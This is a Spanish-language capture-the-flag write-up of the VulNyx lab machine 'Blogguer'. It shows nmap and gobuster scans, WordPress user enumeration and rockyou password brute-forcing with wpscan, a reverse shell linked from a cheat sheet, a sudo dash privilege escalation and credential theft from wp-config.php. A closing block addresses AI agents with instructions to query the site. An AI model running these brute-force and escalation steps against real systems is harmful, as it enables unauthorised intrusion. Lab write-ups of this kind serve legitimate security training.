# Blogguer

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.68
```

para verificar la conectividad de red.

<figure><img src="/files/ccBBJPGfZ7bpO3IByPr3" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.68 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/6ZpEfAkuVwAIBLEQMG7B" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.68
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/N90eirSwaBswhg6r0v6J" alt=""><figcaption></figcaption></figure>

Miramos el puerto 80 en la que no hay nada relevante ya que es la página por defecto de Apache.

<figure><img src="/files/EPAk2VstJ63qjD1JC8lX" alt=""><figcaption></figcaption></figure>

Buscamos directorios.

```bash
gobuster dir -u http://192.168.1.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

Nos llama la atención que hay un directorio llamado **/wordpress**. Ponemos el dominio **megablog.nyx** en **/etc/hosts**.

<figure><img src="/files/rlmGL5FVgkbjHyLtVGA7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/N543MlpcEqV5K8IIiuh6" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.

```bash
wpscan --url http://192.168.1.68/wordpress/ --enumerate u,vp
```

<figure><img src="/files/VujXWNJahdNw7wOUfg0p" alt=""><figcaption></figcaption></figure>

Sabiendo el usuario tenemos que conseguir la contraseña.

```bash
wpscan --url http://192.168.1.68/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames peter
```

<figure><img src="/files/kTfy08qEqLSALYxkzAzz" alt=""><figcaption></figcaption></figure>

Teniendo las credenciales nos logueamos.

<figure><img src="/files/s8GcTnVFgzQHpBNoqz2I" alt=""><figcaption></figcaption></figure>

{% @github-files/github-code-block url="<https://github.com/d4t4s3c/OffensiveReverseShellCheatSheet?tab=readme-ov-file&source=post_page-----18a0699dd483--------------------------------#wordpress>" %}

<figure><img src="/files/yQvurZEZA1nRxbA2T8fE" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.&#x20;

<figure><img src="/files/FSqlX1WP2xHVMVqRjLj0" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/dash/#suid>" %}

<pre class="language-bash"><code class="lang-bash"><strong>sudo -u blog /usr/bin/dash -p
</strong></code></pre>

<figure><img src="/files/vUa2sjvqjCkM0mvrGijJ" alt=""><figcaption></figcaption></figure>

Nos damos cuenta que no hemos revisado el archivo wp-config.php por si hay credenciales.

```bash
cat /var/www/html/wordpress/wp-config.php 
```

<figure><img src="/files/bU6KHpQ6LXGX8EgprA17" alt=""><figcaption></figcaption></figure>

Teniendo las credenciales nos logueamos.

<figure><img src="/files/OjLSu1jkELzHnnY8gSSK" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/blogguer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
